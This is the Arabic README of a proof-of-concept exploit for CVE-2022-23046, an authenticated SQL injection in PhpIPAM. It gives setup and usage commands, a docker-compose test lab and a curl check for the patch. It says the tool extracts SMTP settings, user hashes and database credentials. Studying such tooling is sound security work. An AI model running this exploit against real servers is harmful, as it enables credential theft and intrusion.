
إثبات مفهوم لاستغلال CVE-2022-23046، وهي ثغرة حقن SQL مصادق عليها في PhpIPAM الإصدار 1.4.4. يستخرج معلومات الخادم، وإعدادات SMTP، وتجزئات المستخدمين، وبيانات اعتماد قاعدة البيانات عبر نقطة النهاية edit-bgp-mapping-search.php.
الاكتشاف الأصلي وإثبات المفهوم اليدوي (PoC) من Fluidattacks:
يسمح PhpIPAM v1.4.4 لمستخدم إداري مصادق عليه بحقن جمل SQL في وسيط "subnet" أثناء البحث عن شبكة فرعية عبر app/admin/routing/edit-bgp-mapping-search.php.
ينفذ إثبات المفهوم هذا بعض هجمات SQLi السهلة لجلب معلومات مثل:
بعض هذه المعلومات يمكن الوصول إليها عبر الواجهة الخلفية، لكنني أضفتها هنا فقط كطريقة سهلة لجلب كل البيانات في استعلام واحد. لا تتردد في إضافة/إزالة الحمولات الخاصة بك.
للأمور الأكثر تقدماً، أنشئ حمولاتك الخاصة (في res.payloads)، أو استخدم burpsuite أو sqlmap.
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

لقد اختبرت إثبات المفهوم هذا على إصدارات مختلفة من phpipam: 1.4.3 و1.4.4 و1.5، وعمل بشكل جيد (وليس فقط الإصدارات الأقدم من 1.4.5). عند مراجعة مشروع phpipam على GitHub، رأيت أن الالتزام (commit) 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d يؤثر أيضاً على الإصدار 1.5.
ملف مفيد: https://github.com/phpipam/phpipam/blob/master/misc/CHANGELOG
تحقق مما إذا كان ملف CHANGELOG متاحاً ويحتوي على تعليق حول هذا الإصلاح، وإلا فقد يكون خادم phpipam عرضة للثغرة.
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"